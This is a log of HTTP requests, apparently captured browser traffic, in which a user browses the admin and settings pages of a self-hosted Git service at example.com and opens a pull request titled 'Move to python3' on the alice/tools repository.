{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
